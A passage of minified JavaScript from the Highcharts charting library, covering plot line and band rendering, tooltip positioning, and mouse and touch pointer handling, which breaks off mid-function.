k={},M=i.chart.renderer,S=f?"bands":"lines";if(i.isLog&&(p=i.log2lin(p),l=i.log2lin(l),u=i.log2lin(u)),i.chart.styledMode||(g?(x.stroke=y||"#999999",x["stroke-width"]=c(o.width,1),o.dashStyle&&(x.dashstyle=o.dashStyle)):f&&(x.fill=y||"#e6ebf5",o.borderWidth&&(x.stroke=o.borderColor,x["stroke-width"]=o.borderWidth))),k.zIndex=b,S+="-"+b,(y=i.plotLinesAndBandsGroups[S])||(i.plotLinesAndBandsGroups[S]=y=M.g("plot-"+S).attr(k).add()),v&&(e.svgElem=m=M.path().attr(x).add(y)),g)x=i.getPlotLinePath({value:u,lineWidth:m.strokeWidth(),acrossPanes:o.acrossPanes});else{if(!f)return;x=i.getPlotBandPath(p,l,o)}return(v||!m.d)&&x&&x.length?(m.attr({d:x}),w&&h(w,(function(t,i){m.on(i,(function(t){w[i].apply(e,[t])}))}))):m&&(x?(m.show(!0),m.animate({d:x})):m.d&&(m.hide(),r&&(e.label=r=r.destroy()))),a&&(n(a.text)||n(a.formatter))&&x&&x.length&&0<i.width&&0<i.height&&!x.isFlat?(a=d({align:s&&f&&"center",x:s?!f&&4:10,verticalAlign:!s&&f&&"middle",y:s?f?16:10:f?6:-4,rotation:s&&!f&&90},a),this.renderLabel(a,x,f,b)):r&&r.hide(),e},renderLabel:function(t,e,i,n){var a=this.label,r=this.axis.chart.renderer;a||((a={align:t.textAlign||t.align,rotation:t.rotation,class:"highcharts-plot-"+(i?"band":"line")+"-label "+(t.className||"")}).zIndex=n,n=this.getLabelText(t),this.label=a=r.text(n,0,0,t.useHTML).attr(a).add(),this.axis.chart.styledMode||a.css(t.style)),r=e.xBounds||[e[1],e[4],i?e[6]:e[1]],e=e.yBounds||[e[2],e[5],i?e[7]:e[2]],i=o(r),n=o(e),a.align(t,!1,{x:i,y:n,width:s(r)-i,height:s(e)-n}),a.show(!0)},getLabelText:function(t){return n(t.formatter)?t.formatter.call(this):t.text},destroy:function(){r(this.axis.plotLinesAndBands,this),delete this.axis,a(this)}},l(e.prototype,{getPlotBandPath:function(t,e){var i=this.getPlotLinePath({value:e,force:!0,acrossPanes:this.options.acrossPanes}),s=this.getPlotLinePath({value:t,force:!0,acrossPanes:this.options.acrossPanes}),o=[],n=this.horiz,a=1;if(t=t<this.min&&e<this.min||t>this.max&&e>this.max,s&&i){if(t){var r=s.toString()===i.toString();a=0}for(t=0;t<s.length;t+=6)n&&i[t+1]===s[t+1]?(i[t+1]+=a,i[t+4]+=a):n||i[t+2]!==s[t+2]||(i[t+2]+=a,i[t+5]+=a),o.push("M",s[t+1],s[t+2],"L",s[t+4],s[t+5],i[t+4],i[t+5],i[t+1],i[t+2],"z"),o.isFlat=r}return o},addPlotBand:function(t){return this.addPlotBandOrLine(t,"plotBands")},addPlotLine:function(t){return this.addPlotBandOrLine(t,"plotLines")},addPlotBandOrLine:function(e,i){var s=new t.PlotLineOrBand(this,e).render(),o=this.userOptions;if(s){if(i){var n=o[i]||[];n.push(e),o[i]=n}this.plotLinesAndBands.push(s)}return s},removePlotBandOrLine:function(t){for(var e=this.plotLinesAndBands,i=this.options,s=this.userOptions,o=e.length;o--;)e[o].id===t&&e[o].destroy();[i.plotLines||[],s.plotLines||[],i.plotBands||[],s.plotBands||[]].forEach((function(e){for(o=e.length;o--;)e[o].id===t&&r(e,e[o])}))},removePlotBand:function(t){this.removePlotBandOrLine(t)},removePlotLine:function(t){this.removePlotBandOrLine(t)}})})),e(i,"parts/Tooltip.js",[i["parts/Globals.js"],i["parts/Utilities.js"]],(function(t,e){var i=e.defined,s=e.discardElement,o=e.extend,n=e.isNumber,a=e.isString,r=e.pick,l=e.splat,h=e.syncTimeout,c=t.doc,d=t.format,p=t.merge,u=t.timeUnits;t.Tooltip=function(){this.init.apply(this,arguments)},t.Tooltip.prototype={init:function(t,e){this.chart=t,this.options=e,this.crosshairs=[],this.now={x:0,y:0},this.isHidden=!0,this.split=e.split&&!t.inverted,this.shared=e.shared||this.split,this.outside=r(e.outside,!(!t.scrollablePixelsX&&!t.scrollablePixelsY))},cleanSplit:function(t){this.chart.series.forEach((function(e){var i=e&&e.tt;i&&(!i.isActive||t?e.tt=i.destroy():i.isActive=!1)}))},applyFilter:function(){var t=this.chart;t.renderer.definition({tagName:"filter",id:"drop-shadow-"+t.index,opacity:.5,children:[{tagName:"feGaussianBlur",in:"SourceAlpha",stdDeviation:1},{tagName:"feOffset",dx:1,dy:1},{tagName:"feComponentTransfer",children:[{tagName:"feFuncA",type:"linear",slope:.3}]},{tagName:"feMerge",children:[{tagName:"feMergeNode"},{tagName:"feMergeNode",in:"SourceGraphic"}]}]}),t.renderer.definition({tagName:"style",textContent:".highcharts-tooltip-"+t.index+"{filter:url(#drop-shadow-"+t.index+")}"})},getLabel:function(){var e,s=this,o=this.chart.renderer,n=this.chart.styledMode,a=this.options,r="tooltip"+(i(a.className)?" "+a.className:"");if(!this.label){if(this.outside&&(this.container=e=t.doc.createElement("div"),e.className="highcharts-tooltip-container",t.css(e,{position:"absolute",top:"1px",pointerEvents:a.style&&a.style.pointerEvents,zIndex:3}),t.doc.body.appendChild(e),this.renderer=o=new t.Renderer(e,0,0,{},void 0,void 0,o.styledMode)),this.split?this.label=o.g(r):(this.label=o.label("",0,0,a.shape||"callout",null,null,a.useHTML,null,r).attr({padding:a.padding,r:a.borderRadius}),n||this.label.attr({fill:a.backgroundColor,"stroke-width":a.borderWidth}).css(a.style).shadow(a.shadow)),n&&(this.applyFilter(),this.label.addClass("highcharts-tooltip-"+this.chart.index)),s.outside&&!s.split){var l={x:this.label.xSetter,y:this.label.ySetter};this.label.xSetter=function(t,i){l[i].call(this.label,s.distance),e.style.left=t+"px"},this.label.ySetter=function(t,i){l[i].call(this.label,s.distance),e.style.top=t+"px"}}this.label.attr({zIndex:8}).add()}return this.label},update:function(t){this.destroy(),p(!0,this.chart.options.tooltip.userOptions,t),this.init(this.chart,p(!0,this.options,t))},destroy:function(){this.label&&(this.label=this.label.destroy()),this.split&&this.tt&&(this.cleanSplit(this.chart,!0),this.tt=this.tt.destroy()),this.renderer&&(this.renderer=this.renderer.destroy(),s(this.container)),t.clearTimeout(this.hideTimer),t.clearTimeout(this.tooltipTimeout)},move:function(e,i,s,n){var a=this,r=a.now,l=!1!==a.options.animation&&!a.isHidden&&(1<Math.abs(e-r.x)||1<Math.abs(i-r.y)),h=a.followPointer||1<a.len;o(r,{x:l?(2*r.x+e)/3:e,y:l?(r.y+i)/2:i,anchorX:h?void 0:l?(2*r.anchorX+s)/3:s,anchorY:h?void 0:l?(r.anchorY+n)/2:n}),a.getLabel().attr(r),l&&(t.clearTimeout(this.tooltipTimeout),this.tooltipTimeout=setTimeout((function(){a&&a.move(e,i,s,n)}),32))},hide:function(e){var i=this;t.clearTimeout(this.hideTimer),e=r(e,this.options.hideDelay,500),this.isHidden||(this.hideTimer=h((function(){i.getLabel()[e?"fadeOut":"hide"](),i.isHidden=!0}),e))},getAnchor:function(t,e){var i,s,o=this.chart,n=o.pointer,a=o.inverted,r=o.plotTop,h=o.plotLeft,c=0,d=0;return t=l(t),this.followPointer&&e?(void 0===e.chartX&&(e=n.normalize(e)),t=[e.chartX-o.plotLeft,e.chartY-r]):t[0].tooltipPos?t=t[0].tooltipPos:(t.forEach((function(t){i=t.series.yAxis,s=t.series.xAxis,c+=t.plotX+(!a&&s?s.left-h:0),d+=(t.plotLow?(t.plotLow+t.plotHigh)/2:t.plotY)+(!a&&i?i.top-r:0)})),c/=t.length,d/=t.length,t=[a?o.plotWidth-d:c,this.shared&&!a&&1<t.length&&e?e.chartY-r:a?o.plotHeight-c:d]),t.map(Math.round)},getPosition:function(t,e,i){var s,o=this.chart,n=this.distance,a={},l=o.inverted&&i.h||0,h=this.outside,d=h?c.documentElement.clientWidth-2*n:o.chartWidth,p=h?Math.max(c.body.scrollHeight,c.documentElement.scrollHeight,c.body.offsetHeight,c.documentElement.offsetHeight,c.documentElement.clientHeight):o.chartHeight,u=o.pointer.getChartPosition(),f=o.containerScaling,g=function(t){return f?t*f.scaleX:t},m=function(t){return f?t*f.scaleY:t},v=function(s){var a="x"===s;return[s,a?d:p,a?t:e].concat(h?[a?g(t):m(e),a?u.left-n+g(i.plotX+o.plotLeft):u.top-n+m(i.plotY+o.plotTop),0,a?d:p]:[a?t:e,a?i.plotX+o.plotLeft:i.plotY+o.plotTop,a?o.plotLeft:o.plotTop,a?o.plotLeft+o.plotWidth:o.plotTop+o.plotHeight])},x=v("y"),y=v("x"),b=!this.followPointer&&r(i.ttBelow,!o.inverted==!!i.negative),w=function(t,e,i,s,o,r,h){var c="y"===t?m(n):g(n),d=(i-s)/2,p=s<o-n,u=o+n+s<e,f=o-c-i+d;if(o=o+c-d,b&&u)a[t]=o;else if(!b&&p)a[t]=f;else if(p)a[t]=Math.min(h-s,0>f-l?f:f-l);else{if(!u)return!1;a[t]=Math.max(r,o+l+i>e?o:o+l)}},k=function(t,e,i,s,o){var r;return o<n||o>e-n?r=!1:a[t]=o<i/2?1:o>e-s/2?e-s-2:o-i/2,r},M=function(t){var e=x;x=y,y=e,s=t},S=function(){!1!==w.apply(0,x)?!1!==k.apply(0,y)||s||(M(!0),S()):s?a.x=a.y=0:(M(!0),S())};return(o.inverted||1<this.len)&&M(),S(),a},defaultFormatter:function(t){var e=this.points||l(this),i=[t.tooltipFooterHeaderFormatter(e[0])];return(i=i.concat(t.bodyFormatter(e))).push(t.tooltipFooterHeaderFormatter(e[0],!0)),i},refresh:function(e,i){var s=this.chart,o=this.options,n=e,a={},h=[],c=o.formatter||this.defaultFormatter;a=this.shared;var d=s.styledMode;if(o.enabled){t.clearTimeout(this.hideTimer),this.followPointer=l(n)[0].series.tooltipOptions.followPointer;var p=this.getAnchor(n,i);i=p[0];var u=p[1];!a||n.series&&n.series.noSharedTooltip?a=n.getLabelConfig():(s.pointer.applyInactiveState(n),n.forEach((function(t){t.setState("hover"),h.push(t.getLabelConfig())})),(a={x:n[0].category,y:n[0].y}).points=h,n=n[0]),this.len=h.length,s=c.call(a,this),c=n.series,this.distance=r(c.tooltipOptions.distance,16),!1===s?this.hide():(this.split?this.renderSplit(s,l(e)):(e=this.getLabel(),o.style.width&&!d||e.css({width:this.chart.spacingBox.width}),e.attr({text:s&&s.join?s.join(""):s}),e.removeClass(/highcharts-color-[\d]+/g).addClass("highcharts-color-"+r(n.colorIndex,c.colorIndex)),d||e.attr({stroke:o.borderColor||n.color||c.color||"#666666"}),this.updatePosition({plotX:i,plotY:u,negative:n.negative,ttBelow:n.ttBelow,h:p[2]||0})),this.isHidden&&this.label&&this.label.attr({opacity:1}).show(),this.isHidden=!1),t.fireEvent(this,"refresh")}},renderSplit:function(e,i){var s,o=this,n=[],l=this.chart,h=l.renderer,c=!0,d=this.options,p=0,u=this.getLabel(),f=l.plotTop;a(e)&&(e=[!1,e]),e.slice(0,i.length+1).forEach((function(t,e){if(!1!==t&&""!==t){var a=(e=i[e-1]||{isHeader:!0,plotX:i[0].plotX,plotY:l.plotHeight}).series||o,g=a.tt,m=e.series||{},v="highcharts-color-"+r(e.colorIndex,m.colorIndex,"none");g||(g={padding:d.padding,r:d.borderRadius},l.styledMode||(g.fill=d.backgroundColor,g["stroke-width"]=d.borderWidth),a.tt=g=h.label(null,null,null,(e.isHeader?d.headerShape:d.shape)||"callout",null,null,d.useHTML).addClass(e.isHeader?"highcharts-tooltip-header ":"highcharts-tooltip-box "+v).attr(g).add(u)),g.isActive=!0,g.attr({text:t}),l.styledMode||g.css(d.style).shadow(d.shadow).attr({stroke:d.borderColor||e.color||m.color||"#333333"}),v=(t=g.getBBox()).width+g.strokeWidth(),e.isHeader?(p=t.height,l.xAxis[0].opposite&&(s=!0,f-=p),t=Math.max(0,Math.min(e.plotX+l.plotLeft-v/2,l.chartWidth+(l.scrollablePixelsX?l.scrollablePixelsX-l.marginRight:0)-v))):t=e.plotX+l.plotLeft-r(d.distance,16)-v,0>t&&(c=!1),m=e.isHeader?s?-p:l.plotHeight+p:(m=m.yAxis).pos-f+Math.max(0,Math.min(e.plotY||0,m.len)),n.push({target:m,rank:e.isHeader?1:0,size:a.tt.getBBox().height+1,point:e,x:t,tt:g})}})),this.cleanSplit(),d.positioner&&n.forEach((function(t){var e=d.positioner.call(o,t.tt.getBBox().width,t.size,t.point);t.x=e.x,t.align=0,t.target=e.y,t.rank=r(e.rank,t.rank)})),t.distribute(n,l.plotHeight+p),n.forEach((function(t){var e=t.point,i=e.series,s=i&&i.yAxis;t.tt.attr({visibility:void 0===t.pos?"hidden":"inherit",x:c||e.isHeader||d.positioner?t.x:e.plotX+l.plotLeft+o.distance,y:t.pos+f,anchorX:e.isHeader?e.plotX+l.plotLeft:e.plotX+i.xAxis.pos,anchorY:e.isHeader?l.plotTop+l.plotHeight/2:s.pos+Math.max(0,Math.min(e.plotY,s.len))})}));var g=o.container;if(e=o.renderer,o.outside&&g&&e){var m=l.pointer.getChartPosition();g.style.left=m.left+"px",g.style.top=m.top+"px",g=u.getBBox(),e.setSize(g.width+g.x,g.height+g.y,!1)}},updatePosition:function(e){var i=this.chart,s=i.pointer,o=this.getLabel(),n=e.plotX+i.plotLeft,a=e.plotY+i.plotTop;if(s=s.getChartPosition(),e=(this.options.positioner||this.getPosition).call(this,o.width,o.height,e),this.outside){var r=(this.options.borderWidth||0)+2*this.distance;this.renderer.setSize(o.width+r,o.height+r,!1),(i=i.containerScaling)&&(t.css(this.container,{transform:"scale("+i.scaleX+", "+i.scaleY+")"}),n*=i.scaleX,a*=i.scaleY),n+=s.left-e.x,a+=s.top-e.y}this.move(Math.round(e.x),Math.round(e.y||0),n,a)},getDateFormat:function(t,e,i,s){var o=this.chart.time,n=o.dateFormat("%m-%d %H:%M:%S.%L",e),a={millisecond:15,second:12,minute:9,hour:6,day:3},r="millisecond";for(l in u){if(t===u.week&&+o.dateFormat("%w",e)===i&&"00:00:00.000"===n.substr(6)){var l="week";break}if(u[l]>t){l=r;break}if(a[l]&&n.substr(a[l])!=="01-01 00:00:00.000".substr(a[l]))break;"week"!==l&&(r=l)}if(l)var h=o.resolveDTLFormat(s[l]).main;return h},getXDateFormat:function(t,e,i){e=e.dateTimeLabelFormats;var s=i&&i.closestPointRange;return(s?this.getDateFormat(s,t.x,i.options.startOfWeek,e):e.day)||e.year},tooltipFooterHeaderFormatter:function(e,i){var s=i?"footer":"header",o=e.series,a=o.tooltipOptions,r=a.xDateFormat,l=o.xAxis,h=l&&"datetime"===l.options.type&&n(e.key),c=a[s+"Format"];return i={isFooter:i,labelConfig:e},t.fireEvent(this,"headerFormatter",i,(function(t){h&&!r&&(r=this.getXDateFormat(e,a,l)),h&&r&&(e.point&&e.point.tooltipDateKeys||["key"]).forEach((function(t){c=c.replace("{point."+t+"}","{point."+t+":"+r+"}")})),o.chart.styledMode&&(c=this.styledModeFormat(c)),t.text=d(c,{point:e,series:o},this.chart.time)})),i.text},bodyFormatter:function(t){return t.map((function(t){var e=t.series.tooltipOptions;return(e[(t.point.formatPrefix||"point")+"Formatter"]||t.point.tooltipFormatter).call(t.point,e[(t.point.formatPrefix||"point")+"Format"]||"")}))},styledModeFormat:function(t){return t.replace('style="font-size: 10px"','class="highcharts-header"').replace(/style="color:{(point|series)\.color}"/g,'class="highcharts-color-{$1.colorIndex}"')}}})),e(i,"parts/Pointer.js",[i["parts/Globals.js"],i["parts/Utilities.js"]],(function(t,e){var i=e.attr,s=e.defined,o=e.extend,n=e.isNumber,a=e.isObject,r=e.objectEach,l=e.pick,h=e.splat,c=t.addEvent,d=t.charts,p=t.color,u=t.css,f=t.find,g=t.fireEvent,m=t.offset,v=t.Tooltip;t.Pointer=function(t,e){this.init(t,e)},t.Pointer.prototype={init:function(t,e){this.options=e,this.chart=t,this.runChartClick=e.chart.events&&!!e.chart.events.click,this.pinchDown=[],this.lastValidTouch={},v&&(t.tooltip=new v(t,e.tooltip),this.followTouchMove=l(e.tooltip.followTouchMove,!0)),this.setDOMEvents()},zoomOption:function(t){var e=this.chart,i=e.options.chart,s=i.zoomType||"";e=e.inverted,/touch/.test(t.type)&&(s=l(i.pinchType,s)),this.zoomX=t=/x/.test(s),this.zoomY=s=/y/.test(s),this.zoomHor=t&&!e||s&&e,this.zoomVert=s&&!e||t&&e,this.hasZoom=t||s},getChartPosition:function(){return this.chartPosition||(this.chartPosition=m(this.chart.container))},normalize:function(t,e){var i=t.touches?t.touches.length?t.touches.item(0):t.changedTouches[0]:t;e||(e=this.getChartPosition());var s=i.pageX-e.left;return e=i.pageY-e.top,(i=this.chart.containerScaling)&&(s/=i.scaleX,e/=i.scaleY),o(t,{chartX:Math.round(s),chartY:Math.round(e)})},getCoordinates:function(t){var e={xAxis:[],yAxis:[]};return this.chart.axes.forEach((function(i){e[i.isXAxis?"xAxis":"yAxis"].push({axis:i,value:i.toValue(t[i.horiz?"chartX":"chartY"])})})),e},findNearestKDPoint:function(t,e,i){var s;return t.forEach((function(t){var o=!(t.noSharedTooltip&&e)&&0>t.options.findNearestPointBy.indexOf("y");if(t=t.searchPoint(i,o),(o=a(t,!0))&&!(o=!a(s,!0))){o=s.distX-t.distX;var n=s.dist-t.dist,r=(t.series.group&&t.series.group.zIndex)-(s.series.group&&s.series.group.zIndex);o=0<(0!==o&&e?o:0!==n?n:0!==r?r:s.series.index>t.series.index?-1:1)}o&&(s=t)})),s},getPointFromEvent:function(t){t=t.target;for(var e;t&&!e;)e=t.point,t=t.parentNode;return e},getChartCoordinatesFromPoint:function(t,e){var i=t.series,s=i.xAxis;i=i.yAxis;var o=l(t.clientX,t.plotX),n=t.shapeArgs;return s&&i?e?{chartX:s.len+s.pos-o,chartY:i.len+i.pos-t.plotY}:{chartX:o+s.pos,chartY:t.plotY+i.pos}:n&&n.x&&n.y?{chartX:n.x,chartY:n.y}:void 0},getHoverData:function(t,e,i,s,o,n){var r,h=[];s=!(!s||!t);var c=e&&!e.stickyTracking?[e]:i.filter((function(t){return t.visible&&!(!o&&t.directTouch)&&l(t.options.enableMouseTracking,!0)&&t.stickyTracking}));return e=(r=s||!n?t:this.findNearestKDPoint(c,o,n))&&r.series,r&&(o&&!e.noSharedTooltip?(c=i.filter((function(t){return t.visible&&!(!o&&t.directTouch)&&l(t.options.enableMouseTracking,!0)&&!t.noSharedTooltip}))).forEach((function(t){var e=f(t.points,(function(t){return t.x===r.x&&!t.isNull}));a(e)&&(t.chart.isBoosting&&(e=t.getPoint(e)),h.push(e))})):h.push(r)),{hoverPoint:r,hoverSeries:e,hoverPoints:h}},runPointActions:function(e,i){var s=this.chart,o=s.tooltip&&s.tooltip.options.enabled?s.tooltip:void 0,n=!!o&&o.shared,a=i||s.hoverPoint,r=a&&a.series||s.hoverSeries;a=(r=this.getHoverData(a,r,s.series,(!e||"touchmove"!==e.type)&&(!!i||r&&r.directTouch&&this.isDirectTouch),n,e)).hoverPoint;var h=r.hoverPoints;if(i=(r=r.hoverSeries)&&r.tooltipOptions.followPointer,n=n&&r&&!r.noSharedTooltip,a&&(a!==s.hoverPoint||o&&o.isHidden)){if((s.hoverPoints||[]).forEach((function(t){-1===h.indexOf(t)&&t.setState()})),s.hoverSeries!==r&&r.onMouseOver(),this.applyInactiveState(h),(h||[]).forEach((function(t){t.setState("hover")})),s.hoverPoint&&s.hoverPoint.firePointEvent("mouseOut"),!a.series)return;a.firePointEvent("mouseOver"),s.hoverPoints=h,s.hoverPoint=a,o&&o.refresh(n?h:a,e)}else i&&o&&!o.isHidden&&(a=o.getAnchor([{}],e),o.updatePosition({plotX:a[0],plotY:a[1]}));this.unDocMouseMove||(this.unDocMouseMove=c(s.container.ownerDocument,"mousemove",(function(e){var i=d[t.hoverChartIndex];i&&i.pointer.onDocumentMouseMove(e)}))),s.axes.forEach((function(i){var s=l(i.crosshair.snap,!0),o=s?t.find(h,(function(t){return t.series[i.coll]===i})):void 0;o||!s?i.drawCrosshair(e,o):i.hideCrosshair()}))},applyInactiveState:function(t){var e,i=[];(t||[]).forEach((function(t){e=t.series,i.push(e),e.linkedParent&&i.push(e.linkedParent),e.linkedSeries&&(i=i.concat(e.linkedSeries)),e.navigatorSeries&&i.push(e.navigatorSeries)})),this.chart.series.forEach((function(t){-1===i.indexOf(t)?t.setState("inactive",!0):t.options.inactiveOtherPoints&&t.setAllPointsToState("inactive")}))},reset:function(t,e){var i=this.chart,s=i.hoverSeries,o=i.hoverPoint,n=i.hoverPoints,a=i.tooltip,r=a&&a.shared?n:o;t&&r&&h(r).forEach((function(e){e.series.isCartesian&&void 0===e.plotX&&(t=!1)})),t?a&&r&&h(r).length&&(a.refresh(r),a.shared&&n?n.forEach((function(t){t.setState(t.state,!0),t.series.isCartesian&&(t.series.xAxis.crosshair&&t.series.xAxis.drawCrosshair(null,t),t.series.yAxis.crosshair&&t.series.yAxis.drawCrosshair(null,t))})):o&&(o.setState(o.state,!0),i.axes.forEach((function(t){t.crosshair&&t.drawCrosshair(null,o)})))):(o&&o.onMouseOut(),n&&n.forEach((function(t){t.setState()})),s&&s.onMouseOut(),a&&a.hide(e),this.unDocMouseMove&&(this.unDocMouseMove=this.unDocMouseMove()),i.axes.forEach((function(t){t.hideCrosshair()})),this.hoverX=i.hoverPoints=i.hoverPoint=null)},scaleGroups:function(t,e){var i,s=this.chart;s.series.forEach((function(o){i=t||o.getPlotBox(),o.xAxis&&o.xAxis.zoomEnabled&&o.group&&(o.group.attr(i),o.markerGroup&&(o.markerGroup.attr(i),o.markerGroup.clip(e?s.clipRect:null)),o.dataLabelsGroup&&o.dataLabelsGroup.attr(i))})),s.clipRect.attr(e||s.clipBox)},dragStart:function(t){var e=this.chart;e.mouseIsDown=t.type,e.cancelClick=!1,e.mouseDownX=this.mouseDownX=t.chartX,e.mouseDownY=this.mouseDownY=t.chartY},drag:function(t){var e=this.chart,i=e.options.chart,s=t.chartX,o=t.chartY,n=this.zoomHor,a=this.zoomVert,r=e.plotLeft,l=e.plotTop,h=e.plotWidth,c=e.plotHeight,d=this.selectionMarker,u=this.mouseDownX,f=this.mouseDownY,g=i.panKey&&t[i.panKey+"Key"];if((!d||!d.touch)&&(s<r?s=r:s>r+h&&(s=r+h),o<l?o=l:o>l+c&&(o=l+c),this.hasDragged=Math.sqrt(Math.pow(u-s,2)+Math.pow(f-o,2)),10<this.hasDragged)){var m=e.isInsidePlot(u-r,f-l);e.hasCartesianSeries&&(this.zoomX||this.zoomY)&&m&&!g&&!d&&(this.selectionMarker=d=e.renderer.rect(r,l,n?1:h,a?1:c,0).attr({class:"highcharts-selection-marker",zIndex:7}).add(),e.styledMode||d.attr({fill:i.selectionMarkerFill||p("#335cad").setOpacity(.25).get()})),d&&n&&(s-=u,d.attr({width:Math.abs(s),x:(0<s?0:s)+u})),d&&a&&(s=o-f,d.attr({height:Math.abs(s),y:(0<s?0:s)+f})),m&&!d&&i.panning&&e.pan(t,i.panning)}},drop:function(t){var e=this,i=this.chart,a=this.hasPinched;if(this.selectionMarker){var r,l={originalEvent:t,xAxis:[],yAxis:[]},h=this.selectionMarker,c=h.attr?h.attr("x"):h.x,d=h.attr?h.attr("y"):h.y,p=h.attr?h.attr("width"):h.width,f=h.attr?h.attr("height"):h.height;(this.hasDragged||a)&&(i.axes.forEach((function(i){if(i.zoomEnabled&&s(i.min)&&(a||e[{xAxis:"zoomX",yAxis:"zoomY"}[i.coll]])){var o=i.horiz,n="touchend"===t.type?i.minPixelPadding:0,h=i.toValue((o?c:d)+n);o=i.toValue((o?c+p:d+f)-n),l[i.coll].push({axis:i,min:Math.min(h,o),max:Math.max(h,o)}),r=!0}})),r&&g(i,"selection",l,(function(t){i.zoom(o(t,a?{animation:!1}:null))}))),n(i.index)&&(this.selectionMarker=this.selectionMarker.destroy()),a&&this.scaleGroups()}i&&n(i.index)&&(u(i.container,{cursor:i._cursor}),i.cancelClick=10<this.hasDragged,i.mouseIsDown=this.hasDragged=this.hasPinched=!1,this.pinchDown=[])},onContainerMouseDown:function(t){2!==(t=this.normalize(t)).button&&(this.zoomOption(t),t.preventDefault&&t.preventDefault(),this.dragStart(t))},onDocumentMouseUp:function(e){d[t.hoverChartIndex]&&d[t.hoverChartIndex].pointer.drop(e)},onDocumentMouseMove:function(t){var e=this.chart,i=this.chartPosition;t=this.normalize(t,i),!i||this.inClass(t.target,"highcharts-tracker")||e.isInsidePlot(t.chartX-e.plotLeft,t.chartY-e.plotTop)||this.reset()},onContainerMouseLeave:function(e){var i=d[t.hoverChartIndex];i&&(e.relatedTarget||e.toElement)&&(i.pointer.reset(),i.pointer.chartPosition=void 0)},onContainerMouseMove:function(e){var i=this.chart;s(t.hoverChartIndex)&&d[t.hoverChartIndex]&&d[t.hoverChartIndex].mouseIsDown||(t.hoverChartIndex=i.index),(e=this.normalize(e)).preventDefault||(e.returnValue=!1),"mousedown"===i.mouseIsDown&&this.drag(e),!this.inClass(e.target,"highcharts-tracker")&&!i.isInsidePlot(e.chartX-i.plotLeft,e.chartY-i.plotTop)||i.openMenu||this.runPointActions(e)},inClass:function(t,e){for(var s;t;){if(s=i(t,"class")){if(-1!==s.indexOf(e))return!0;if(-1!==s.indexOf("highcharts-container"))return!1}t=t.parentNode}},onTrackerMouseOut:function(t){var e=this.chart.hoverSeries;t=t.relatedTarget||t.toElement,this.isDirectTouch=!1,!e||!t||e.stickyTracking||this.inClass(t,"highcharts-tooltip")||this.inClass(t,"highcharts-series-"+e.index)&&this.inClass(t,"highcharts-tracker")||e.onMouseOut()},onContainerClick:function(t){var e=this.chart,i=e.hoverPoint,s=e.plotLeft,n=e.plotTop;t=this.normalize(t),e.cancelClick||(i&&this.inClass(t.target,"highcharts-tracker")?(g(i.series,"click",o(t,{point:i})),e.hoverPoint&&i.firePointEvent("click",t)):(o(t,this.getCoordinates(t)),e.isInsidePlot(t.chartX-s,t.chartY-n)&&g(e,"click",t)))},setDOMEvents:function(){var e=this,i=e.chart.container,s=i.ownerDocument;i.onmousedown=function(t){e.onContainerMouseDown(t)},i.onmousemove=function(t){e.onContainerMouseMove(t)},i.onclick=function(t){e.onContainerClick(t)},this.unbindContainerMouseLeave=c(i,"mouseleave",e.onContainerMouseLeave),t.unbindDocumentMouseUp||(t.unbindDocumentMouseUp=c(s,"mouseup",e.onDocumentMouseUp)),t.hasTouch&&(c(i,"touchstart",(function(t){e.onContainerTouchStart(t)})),c(i,"touchmove",(function(t){e.onContainerTouchMove(t)})),t.unbindDocumentTouchEnd||(t.unbindDocumentTouchEnd=c(s,"touchend",e.onDocumentTouchEnd)))},destroy:function(){var e=this;e.unDocMouseMove&&e.unDocMouseMove(),this.unbindContainerMouseLeave(),t.chartCount||(t.unbindDocumentMouseUp&&(t.unbindDocumentMouseUp=t.unbindDocumentMouseUp()),t.unbindDocumentTouchEnd&&(t.unbindDocumentTouchEnd=t.unbindDocumentTouchEnd())),clearInterval(e.tooltipTimeout),r(e,(function(t,i){e[i]=null}))}}})),e(i,"parts/TouchPointer.js",[i["parts/Globals.js"],i["parts/Utilities.js"]],(function(t,e){var i=e.extend,s=e.pick,o=t.charts,n=t.noop;i(t.Pointer.prototype,{pinchTranslate:function(t,e,i,s,o,n){this.zoomHor&&this.pinchTranslateDirection(!0,t,e,i,s,o,n),this.zoomVert&&this.pinchTranslateDirection(!1,t,e,i,s,o,n)},pinchTranslateDirection:function(t,e,i,s,o,n,a,r){var l,h,c=this.chart,d=t?"x":"y",p=t?"X":"Y",u="chart"+p,f=t?"width":"height",g=c["plot"+(t?"Left":"Top")],m=r||1,v=c.inverted,x=c.bounds[t?"h":"v"],y=1===e.length,b=e[0][u],w=i[0][u],k=!y&&e[1][u],M=!y&&i[1][u];if((i=function(){!y&&20<Math.abs(b-k)&&(m=r||Math.abs(w-M)/Math.abs(b-k)),h=(g-w)/m+b,l=c["plot"+(t?"Width":"Height")]/m})(),(e=h)<x.min){e=x.min;var S=!0}else e+l>x.max&&(e=x.max-l,S=!0);S?(w-=.8*(w-a[d][0]),y||(M-=.8*(M-a[d][1])),i()):a[d]=[w,M],v||(n[d]=h-g,n[f]=l),n=v?1/m:m,o[f]=l,o[d]=e,s[v?t?"scaleY":"scaleX":"scale"+p]=m,s["translate"+p]=n*g+(w-n*b)},pinch:function(t){var e=this,o=e.chart,a=e.pinchDown,r=t.touches,l=r.length,h=e.lastValidTouch,c=e.hasZoom,d=e.selectionMarker,p={},u=1===l&&(e.inClass(t.target,"highcharts-tracker")&&o.runTrackerClick||e.runChartClick),f={};1<l&&(e.initiated=!0),c&&e.initiated&&!u&&t.preventDefault(),[].map.call(r,(function(t){return e.normalize(t)})),"touchstart"===t.type?([].forEach.call(r,(function(t,e){a[e]={chartX:t.chartX,chartY:t.chartY}})),h.x=[a[0].chartX,a[1]&&a[1].chartX],h.y=[a[0].chartY,a[1]&&a[1].chartY],o.axes.forEach((function(t){if(t.zoomEnabled){var e=o.bounds[t.horiz?"h":"v"],i=t.minPixelPadding,n=t.toPixels(Math.min(s(t.options.min,t.dataMin),t.dataMin)),a=t.toPixels(Math.max(s(t.options.max,t.dataMax),t.dataMax)),r=Math.max(n,a);e.min=Math.min(t.pos,Math.min(n,a)-i),e.max=Math.max(t.pos+t.len,r+i)}})),e.res=!0):e.followTouchMove&&1===l?this.runPointActions(e.normalize(t)):a.length&&(d||(e.selectionMarker=d=i({destroy:n,touch:!0},o.plotBox)),e.pinchTranslate(a,r,p,d,f,h),e.hasPinched=c,e.scaleGroups(p,f),e.res&&(e.res=!1,this.reset(!1,0)))},touch:function(e,i){var 